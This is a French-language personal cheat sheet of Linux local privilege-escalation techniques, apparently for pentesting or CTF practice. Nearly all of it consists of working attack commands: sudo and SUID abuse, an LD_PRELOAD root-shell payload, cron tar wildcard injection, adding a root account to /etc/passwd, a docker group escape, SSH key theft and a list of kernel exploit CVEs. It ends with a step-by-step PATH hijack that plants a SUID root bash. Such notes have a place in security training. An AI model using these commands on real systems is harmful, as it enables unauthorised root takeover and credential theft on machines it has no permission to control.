Whackermelon
notes / elevation-de-privileges / elevation-de-privileges-linux

Élévation de privilèges Linux

Exploits locaux Linux.

sommaire

1) sudo

sudo -l                        # que puis-je lancer en sudo ?
sudo /bin/bash                 # NOPASSWD direct
# binaire autorise -> GTFOBins (ex: sudo less /etc/shadow, puis !/bin/sh)
sudo -u#-1 /bin/bash           # CVE-2019-14287 (sudo < 1.8.28)

GTFOBins : https://gtfobins.github.io (SUID/sudo/capabilities -> shell)

LD_PRELOAD / env_keep

# si 'env_keep+=LD_PRELOAD' dans sudo -l :
gcc -fPIC -shared -o /tmp/x.so -xc - <<<'#include <stdlib.h>
void _init(){setgid(0);setuid(0);system("/bin/bash");}'
sudo LD_PRELOAD=/tmp/x.so <cmd_autorisee>

2) SUID / SGID

find / -perm -4000 -type f 2>/dev/null
# binaire connu -> GTFOBins.  binaire maison -> strings/ltrace pour un PATH relatif :
strings /chemin/suid ; ltrace /chemin/suid
# ex PATH hijack : export PATH=/tmp:$PATH ; echo '/bin/bash' > /tmp/service ; chmod +x /tmp/service

3) Capabilities

getcap -r / 2>/dev/null
# cap_setuid sur python -> root :
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# perl : perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'

4) Tâches planifiées (cron)

cat /etc/crontab ; ls -la /etc/cron.*
# script lance par root et INSCRIPTIBLE -> y mettre un reverse shell / chmod +s /bin/bash
# wildcard injection (tar) : touch -- '--checkpoint=1' '--checkpoint-action=exec=sh runme.sh'
# pspy pour reperer les crons caches

5) Fichiers & groupes sensibles

# /etc/passwd inscriptible -> ajouter un root :
echo 'r00t:$(openssl passwd pass):0:0::/root:/bin/bash' >> /etc/passwd
# /etc/shadow lisible -> hashcat -m 1800
# groupe docker : docker run -v /:/mnt -it alpine chroot /mnt sh
# groupe lxd/lxc : import image + montage de /  ;  groupe disk : debugfs /dev/sda

6) Exploits noyau / connus

uname -a ; searchsploit linux kernel <version>
pkexec (PwnKit)  CVE-2021-4034      # polkit, quasi universel
sudo Baron Samedit CVE-2021-3156
DirtyPipe CVE-2022-0847 ; DirtyCow CVE-2016-5195

7) SSH / réutilisation de mots de passe

find / -name id_rsa 2>/dev/null ; cat ~/.ssh/id_rsa
# reutiliser les mdp trouves : su <user> ; mysql -u root -p ; sudo -l
# clef privee -> chmod 600 ; ssh -i id_rsa user@localhost

SUID + appel system() en chemin relatif → PATH hijack

Un binaire SUID root qui appelle system() avec une commande SANS chemin absolu (ex: system(“echo x:y | chpasswd”)) résout la commande via le PATH hérité de l’appelant. On plante un faux binaire du même nom dans un dossier inscriptible placé en tête du PATH.

# reperage : SUID root + strings montre system() et une commande relative
ls -la                          # -rwsr-xr-x root root
strings ./binaire | grep -E "system|/bin|sh -c|[a-z]+ \|"

# exploitation :
cd /tmp
printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod 4755 /tmp/rootbash\n' > chpasswd
chmod +x chpasswd
PATH=/tmp:$PATH /chemin/binaire_suid     # notre chpasswd s'execute en root
/tmp/rootbash -p                          # shell root (-p = garder euid=0)

• -p obligatoire : bash droppe les privilèges si euid != uid sinon. • Vérifier le résultat : id doit montrer euid=0(root). • Si PATH est écrasé par le binaire, tenter LD_PRELOAD / LD_LIBRARY_PATH (si non stripés par le loader).

Dans cette section